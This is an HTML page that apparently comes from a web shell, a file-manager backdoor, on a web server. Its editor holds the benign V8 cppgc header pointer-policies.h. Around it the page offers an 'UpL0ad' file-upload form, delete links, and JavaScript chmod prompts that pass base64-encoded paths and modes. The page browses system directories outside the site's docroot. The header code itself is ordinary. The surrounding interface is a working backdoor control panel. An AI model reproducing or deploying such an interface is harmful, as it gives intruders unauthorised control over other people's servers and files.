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<hr>pointer-policies.h<form method=post action="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw%3D&f=cG9pbnRlci1wb2xpY2llcy5o"><input name="f" value="pointer-policies.h"><textarea name="t">// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#ifndef INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_
#define INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_

#include &lt;cstdint&gt;
#include &lt;type_traits&gt;

#include &quot;cppgc/internal/write-barrier.h&quot;
#include &quot;cppgc/sentinel-pointer.h&quot;
#include &quot;cppgc/source-location.h&quot;
#include &quot;cppgc/type-traits.h&quot;
#include &quot;v8config.h&quot;  // NOLINT(build/include_directory)

namespace cppgc {
namespace internal {

class HeapBase;
class PersistentRegion;
class CrossThreadPersistentRegion;

// Tags to distinguish between strong and weak member types.
class StrongMemberTag;
class WeakMemberTag;
class UntracedMemberTag;

struct DijkstraWriteBarrierPolicy {
  static void InitializingBarrier(const void*, const void*) {
    // Since in initializing writes the source object is always white, having no
    // barrier doesn't break the tri-color invariant.
  }
  static void AssigningBarrier(const void* slot, const void* value) {
    WriteBarrier::Params params;
    switch (WriteBarrier::GetWriteBarrierType(slot, value, params)) {
      case WriteBarrier::Type::kGenerational:
        WriteBarrier::GenerationalBarrier(params, slot);
        break;
      case WriteBarrier::Type::kMarking:
        WriteBarrier::DijkstraMarkingBarrier(params, value);
        break;
      case WriteBarrier::Type::kNone:
        break;
    }
  }
};

struct NoWriteBarrierPolicy {
  static void InitializingBarrier(const void*, const void*) {}
  static void AssigningBarrier(const void*, const void*) {}
};

class V8_EXPORT SameThreadEnabledCheckingPolicyBase {
 protected:
  void CheckPointerImpl(const void* ptr, bool points_to_payload,
                        bool check_off_heap_assignments);

  const HeapBase* heap_ = nullptr;
};

template &lt;bool kCheckOffHeapAssignments&gt;
class V8_EXPORT SameThreadEnabledCheckingPolicy
    : private SameThreadEnabledCheckingPolicyBase {
 protected:
  template &lt;typename T&gt;
  void CheckPointer(const T* ptr) {
    if (!ptr || (kSentinelPointer == ptr)) return;

    CheckPointersImplTrampoline&lt;T&gt;::Call(this, ptr);
  }

 private:
  template &lt;typename T, bool = IsCompleteV&lt;T&gt;&gt;
  struct CheckPointersImplTrampoline {
    static void Call(SameThreadEnabledCheckingPolicy* policy, const T* ptr) {
      policy-&gt;CheckPointerImpl(ptr, false, kCheckOffHeapAssignments);
    }
  };

  template &lt;typename T&gt;
  struct CheckPointersImplTrampoline&lt;T, true&gt; {
    static void Call(SameThreadEnabledCheckingPolicy* policy, const T* ptr) {
      policy-&gt;CheckPointerImpl(ptr, IsGarbageCollectedTypeV&lt;T&gt;,
                               kCheckOffHeapAssignments);
    }
  };
};

class DisabledCheckingPolicy {
 protected:
  void CheckPointer(const void*) {}
};

#ifdef DEBUG
// Off heap members are not connected to object graph and thus cannot ressurect
// dead objects.
using DefaultMemberCheckingPolicy =
    SameThreadEnabledCheckingPolicy&lt;false /* kCheckOffHeapAssignments*/&gt;;
using DefaultPersistentCheckingPolicy =
    SameThreadEnabledCheckingPolicy&lt;true /* kCheckOffHeapAssignments*/&gt;;
#else   // !DEBUG
using DefaultMemberCheckingPolicy = DisabledCheckingPolicy;
using DefaultPersistentCheckingPolicy = DisabledCheckingPolicy;
#endif  // !DEBUG
// For CT(W)P neither marking information (for value), nor objectstart bitmap
// (for slot) are guaranteed to be present because there's no synchronization
// between heaps after marking.
using DefaultCrossThreadPersistentCheckingPolicy = DisabledCheckingPolicy;

class KeepLocationPolicy {
 public:
  constexpr const SourceLocation&amp; Location() const { return location_; }

 protected:
  constexpr KeepLocationPolicy() = default;
  constexpr explicit KeepLocationPolicy(const SourceLocation&amp; location)
      : location_(location) {}

  // KeepLocationPolicy must not copy underlying source locations.
  KeepLocationPolicy(const KeepLocationPolicy&amp;) = delete;
  KeepLocationPolicy&amp; operator=(const KeepLocationPolicy&amp;) = delete;

  // Location of the original moved from object should be preserved.
  KeepLocationPolicy(KeepLocationPolicy&amp;&amp;) = default;
  KeepLocationPolicy&amp; operator=(KeepLocationPolicy&amp;&amp;) = default;

 private:
  SourceLocation location_;
};

class IgnoreLocationPolicy {
 public:
  constexpr SourceLocation Location() const { return {}; }

 protected:
  constexpr IgnoreLocationPolicy() = default;
  constexpr explicit IgnoreLocationPolicy(const SourceLocation&amp;) {}
};

#if CPPGC_SUPPORTS_OBJECT_NAMES
using DefaultLocationPolicy = KeepLocationPolicy;
#else
using DefaultLocationPolicy = IgnoreLocationPolicy;
#endif

struct StrongPersistentPolicy {
  using IsStrongPersistent = std::true_type;
  static V8_EXPORT PersistentRegion&amp; GetPersistentRegion(const void* object);
};

struct WeakPersistentPolicy {
  using IsStrongPersistent = std::false_type;
  static V8_EXPORT PersistentRegion&amp; GetPersistentRegion(const void* object);
};

struct StrongCrossThreadPersistentPolicy {
  using IsStrongPersistent = std::true_type;
  static V8_EXPORT CrossThreadPersistentRegion&amp; GetPersistentRegion(
      const void* object);
};

struct WeakCrossThreadPersistentPolicy {
  using IsStrongPersistent = std::false_type;
  static V8_EXPORT CrossThreadPersistentRegion&amp; GetPersistentRegion(
      const void* object);
};

// Forward declarations setting up the default policies.
template &lt;typename T, typename WeaknessPolicy,
          typename LocationPolicy = DefaultLocationPolicy,
          typename CheckingPolicy = DefaultCrossThreadPersistentCheckingPolicy&gt;
class BasicCrossThreadPersistent;
template &lt;typename T, typename WeaknessPolicy,
          typename LocationPolicy = DefaultLocationPolicy,
          typename CheckingPolicy = DefaultPersistentCheckingPolicy&gt;
class BasicPersistent;
template &lt;typename T, typename WeaknessTag, typename WriteBarrierPolicy,
          typename CheckingPolicy = DefaultMemberCheckingPolicy&gt;
class BasicMember;

}  // namespace internal

}  // namespace cppgc

#endif  // INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/include/nodejs/deps/v8/include/cppgc/internal<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=YXBpLWNvbnN0YW50cy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXBpLWNvbnN0YW50cy5o"/>api-constants.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXBpLWNvbnN0YW50cy5o&c=`+btoa(c):0" value="0644"></td><td>1740</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=YXRvbWljLWVudHJ5LWZsYWcuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXRvbWljLWVudHJ5LWZsYWcuaA=="/>atomic-entry-flag.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=YXRvbWljLWVudHJ5LWZsYWcuaA==&c=`+btoa(c):0" value="0644"></td><td>1763</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg="/>caged-heap-local-data.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y2FnZWQtaGVhcC1sb2NhbC1kYXRhLmg=&c=`+btoa(c):0" value="0644"></td><td>2307</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Y29tcGlsZXItc3BlY2lmaWMuaA==">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y29tcGlsZXItc3BlY2lmaWMuaA=="/>compiler-specific.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Y29tcGlsZXItc3BlY2lmaWMuaA==&c=`+btoa(c):0" value="0644"></td><td>1019</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=ZmluYWxpemVyLXRyYWl0Lmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=ZmluYWxpemVyLXRyYWl0Lmg="/>finalizer-trait.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=ZmluYWxpemVyLXRyYWl0Lmg=&c=`+btoa(c):0" value="0644"></td><td>2656</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=Z2MtaW5mby5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Z2MtaW5mby5o"/>gc-info.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=Z2MtaW5mby5o&c=`+btoa(c):0" value="0644"></td><td>8283</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=bG9nZ2luZy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bG9nZ2luZy5o"/>logging.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bG9nZ2luZy5o&c=`+btoa(c):0" value="0644"></td><td>1702</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=bmFtZS10cmFpdC5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bmFtZS10cmFpdC5o"/>name-trait.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=bmFtZS10cmFpdC5o&c=`+btoa(c):0" value="0644"></td><td>3529</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=cGVyc2lzdGVudC1ub2RlLmg=">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cGVyc2lzdGVudC1ub2RlLmg="/>persistent-node.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cGVyc2lzdGVudC1ub2RlLmg=&c=`+btoa(c):0" value="0644"></td><td>5980</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=cG9pbnRlci1wb2xpY2llcy5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cG9pbnRlci1wb2xpY2llcy5o"/>pointer-policies.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=cG9pbnRlci1wb2xpY2llcy5o&c=`+btoa(c):0" value="0644"></td><td>6068</td></tr><tr><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&x=d3JpdGUtYmFycmllci5o">X</a></td><td><a href="?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=d3JpdGUtYmFycmllci5o"/>write-barrier.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9pbmNsdWRlL25vZGVqcy9kZXBzL3Y4L2luY2x1ZGUvY3BwZ2MvaW50ZXJuYWw=&f=d3JpdGUtYmFycmllci5o&c=`+btoa(c):0" value="0644"></td><td>17187</td></tr></table>